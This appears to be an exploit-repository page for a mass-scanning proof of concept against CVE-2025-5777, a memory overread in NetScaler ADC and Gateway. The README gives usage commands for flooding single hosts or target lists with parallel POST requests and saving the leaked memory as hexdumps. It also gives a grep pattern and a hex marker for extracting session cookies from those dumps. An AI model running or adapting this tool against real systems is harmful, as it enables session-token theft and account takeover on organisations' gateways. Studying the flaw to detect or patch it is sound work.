CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Source

Associated Vulnerability

Description

CitrixBleed 2 (CVE-2025-5777)

Readme

```bash
# citrixbleed2_parallel.sh – Mass‑scanner for CitrixBleed 2 (CVE‑2025‑5777)
# -----------------------------------------------------------------------------
# USAGE
#   Single host – 10 000 requests, 300 jobs, no OpenSSL tweak, progress bar
#       ./citrixbleed2_parallel.sh -n 10000 -j 300 --no-ssl-conf --progress https://gw.example.com
#   Batch file – 5 000 requests each, results under out/
#       ./citrixbleed2_parallel.sh -f targets.txt -n 5000 -o out --progress
# -----------------------------------------------------------------------------
# OPTIONS
#   -f, --file FILE        File with one target per line (host or URL)
#   -n, --requests N       POST requests per host              (default 100)
#   -j, --jobs J           GNU parallel job count              (default 50)
#   -o, --out-dir DIR      Directory for per‑host hexdumps      (default "dumps")
#   --no-ssl-conf          Disable UnsafeLegacyRenegotiation OpenSSL tweak
#   --progress             Show GNU parallel real‑time progress bar / ETA
#   -h, --help             Show this help and exit
# -----------------------------------------------------------------------------
# OUTPUT
#   * Continuous hexdumps to STDOUT (line‑buffered)
#   * Per‑host files: DIR/<host>.hexdump (written in real‑time, flock‑protected)
# -----------------------------------------------------------------------------
```

## Find hits:

`grep -Ri "35 66 34 66"`

> Session cookies always end with the hex sequence 45525d5f4f58455e445a4a42. Incorporating this information can greatly enhance the accuracy of session token detection.

File Snapshot

 [4.0K]  /data/pocs/2a57e8611aaf04b1c27f4f2b3b11b619b20e2a14
├── [4.7K]  exploit.sh
└── [1.6K]  README.md

0 directories, 2 files

Remarks